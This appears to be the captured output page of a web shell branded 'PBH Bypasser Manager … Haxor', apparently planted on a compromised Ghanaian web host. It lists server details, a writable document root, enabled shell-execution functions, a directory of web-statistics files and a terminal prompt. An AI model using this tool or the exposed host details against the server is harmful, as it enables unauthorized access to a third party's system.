🌸 aes.dice.com.gh

PBH Bypasser Manager | Use your logic to penetrate all Security

v1.1.2 Haxor
Home
0 item(s) selected

Quick Upload

Upload via URL

Single File

Multiple Files

Server Information

SERVER INFO

Software Apache
PHP Version 8.1.34
OS Linux
Server Name aes.dice.com.gh
SSL Enabled

NETWORK & USER

Server IP 199.250.197.2
Your IP 216.73.216.10
User pisces7
Group pisces7
Document Root /home/pisces7/aes.dice.com.gh

PHP LIMITS

Upload Max 512M
Post Max Size 512M
Memory Limit 768M
Max Execution 0s
Disabled Functions None

WRITABLE CHECK

Temp Dir Writable
Document Root Writable
Server Time 2026-09-22 20:07:31
Timezone UTC

TERMINAL FUNCTIONS

Shell Exec Exec System Passthru Popen Proc Open PCNTL Exec
NameSizePermissionsModifiedOwnerActions
ctry_usage_202503.png 3.67 KB 0644 2025-04-01 14:28:24 pisces7
ctry_usage_202504.png 3.38 KB 0644 2025-05-01 14:29:05 pisces7
ctry_usage_202505.png 3.3 KB 0644 2025-06-01 15:30:16 pisces7
ctry_usage_202506.png 2.86 KB 0644 2025-07-01 14:33:42 pisces7
ctry_usage_202507.png 3.99 KB 0644 2025-08-01 15:01:41 pisces7
ctry_usage_202508.png 4.3 KB 0644 2025-09-01 15:05:21 pisces7
ctry_usage_202509.png 3.5 KB 0644 2025-09-17 05:40:45 pisces7
daily_usage_202503.png 3.62 KB 0644 2025-04-01 14:28:24 pisces7
daily_usage_202504.png 3.66 KB 0644 2025-05-01 14:29:05 pisces7
daily_usage_202505.png 3.46 KB 0644 2025-06-01 15:30:16 pisces7
daily_usage_202506.png 3.54 KB 0644 2025-07-01 14:33:42 pisces7
daily_usage_202507.png 3.77 KB 0644 2025-08-01 15:01:41 pisces7
daily_usage_202508.png 3.86 KB 0644 2025-09-01 15:05:21 pisces7
daily_usage_202509.png 3.32 KB 0644 2025-09-17 05:40:45 pisces7
dns_cache.db 172 KB 0644 2025-09-17 05:40:45 pisces7
hourly_usage_202503.png 2.01 KB 0644 2025-04-01 14:28:24 pisces7
hourly_usage_202504.png 2.08 KB 0644 2025-05-01 14:29:05 pisces7
hourly_usage_202505.png 2.08 KB 0644 2025-06-01 15:30:16 pisces7
hourly_usage_202506.png 2.07 KB 0644 2025-07-01 14:33:42 pisces7
hourly_usage_202507.png 2.12 KB 0644 2025-08-01 15:01:41 pisces7
hourly_usage_202508.png 2.13 KB 0644 2025-09-01 15:05:21 pisces7
hourly_usage_202509.png 2.07 KB 0644 2025-09-17 05:40:45 pisces7
index.html 6.97 KB 0644 2025-09-17 05:40:45 pisces7
usage.png 2.69 KB 0644 2025-09-17 05:40:45 pisces7
usage_202503.html 105.72 KB 0644 2025-04-01 14:28:24 pisces7
usage_202504.html 112.45 KB 0644 2025-05-01 14:29:05 pisces7
usage_202505.html 111.51 KB 0644 2025-06-01 15:30:16 pisces7
usage_202506.html 119.26 KB 0644 2025-07-01 14:33:42 pisces7
usage_202507.html 124.12 KB 0644 2025-08-01 15:01:41 pisces7
usage_202508.html 127.9 KB 0644 2025-09-01 15:05:21 pisces7
usage_202509.html 96.25 KB 0644 2025-09-17 05:40:45 pisces7
webalizer.current 68.61 KB 0644 2025-09-17 05:40:45 pisces7
webalizer.hist 2.91 KB 0644 2025-09-17 05:40:45 pisces7

Terminal (Working dir: /home/pisces7/tmp/webalizer/voltaroc.com.piscescode.com)